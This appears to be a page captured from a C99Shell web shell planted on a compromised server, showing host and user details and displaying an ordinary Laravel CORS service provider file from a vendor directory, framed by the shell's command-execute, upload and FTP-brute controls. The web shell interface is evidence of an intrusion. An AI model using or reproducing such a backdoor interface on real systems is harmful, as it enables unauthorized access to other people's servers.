!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/fruitcake/laravel-cors/src/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CorsServiceProvider.php (3.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Fruitcake\Cors;

use 
Asm89\Stack\CorsService;
use 
Illuminate\Foundation\Application as LaravelApplication;
use 
Illuminate\Support\ServiceProvider as BaseServiceProvider;
use 
Laravel\Lumen\Application as LumenApplication;
use 
Illuminate\Foundation\Http\Events\RequestHandled;

class 
CorsServiceProvider extends BaseServiceProvider
{
    
/**
     * Register the service provider.
     *
     * @return void
     */
    
public function register()
    {
        
$this->mergeConfigFrom($this->configPath(), 'cors');

        
$this->app->singleton(CorsService::class, function ($app) {
            return new 
CorsService($this->corsOptions(), $app);
        });
    }

    
/**
     * Register the config for publishing
     *
     */
    
public function boot()
    {
        if (
$this->app instanceof LaravelApplication && $this->app->runningInConsole()) {
            
$this->publishes([$this->configPath() => config_path('cors.php')], 'cors');
        } elseif (
$this->app instanceof LumenApplication) {
            
$this->app->configure('cors');
        }

        
// Add the headers on the Request Handled event as fallback in case of exceptions
        
if (class_exists(RequestHandled::class) && $this->app->bound('events')) {
            
$this->app->make('events')->listen(RequestHandled::class, function (RequestHandled $event) {
                
$this->app->make(HandleCors::class)->onRequestHandled($event);
            });
        }
    }

    
/**
     * Set the config path
     *
     * @return string
     */
    
protected function configPath()
    {
        return 
__DIR__ '/../config/cors.php';
    }

    
/**
     * Get options for CorsService
     *
     * @return array
     */
    
protected function corsOptions()
    {
        
$config $this->app['config']->get('cors');

        if (
$config['exposed_headers'] && !is_array($config['exposed_headers'])) {
            throw new 
\RuntimeException('CORS config `exposed_headers` should be `false` or an array');
        }

        foreach ([
'allowed_origins''allowed_origins_patterns',  'allowed_headers''allowed_methods'] as $key) {
            if (!
is_array($config[$key])) {
                throw new 
\RuntimeException('CORS config `' $key '` should be an array');
            }
        }

        
// Convert case to supported options
        
$options = [
            
'supportsCredentials' => $config['supports_credentials'],
            
'allowedOrigins' => $config['allowed_origins'],
            
'allowedOriginsPatterns' => $config['allowed_origins_patterns'],
            
'allowedHeaders' => $config['allowed_headers'],
            
'allowedMethods' => $config['allowed_methods'],
            
'exposedHeaders' => $config['exposed_headers'],
            
'maxAge' => $config['max_age'],
        ];

        
// Transform wildcard pattern
        
foreach ($options['allowedOrigins'] as $origin) {
            if (
strpos($origin'*') !== false) {
                
$options['allowedOriginsPatterns'][] = $this->convertWildcardToPattern($origin);
            }
        }

        return 
$options;
    }

    
/**
     * Create a pattern for a wildcard, based on Str::is() from Laravel
     *
     * @see https://github.com/laravel/framework/blob/5.5/src/Illuminate/Support/Str.php
     * @param string $pattern
     * @return string
     */
    
protected function convertWildcardToPattern($pattern)
    {
        
$pattern preg_quote($pattern'#');

        
// Asterisks are translated into zero-or-more regular expression wildcards
        // to make it convenient to check if the strings starts with the given
        // pattern such as "library/*", making any string check convenient.
        
$pattern str_replace('\*''.*'$pattern);

        return 
'#^' $pattern '\z#u';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--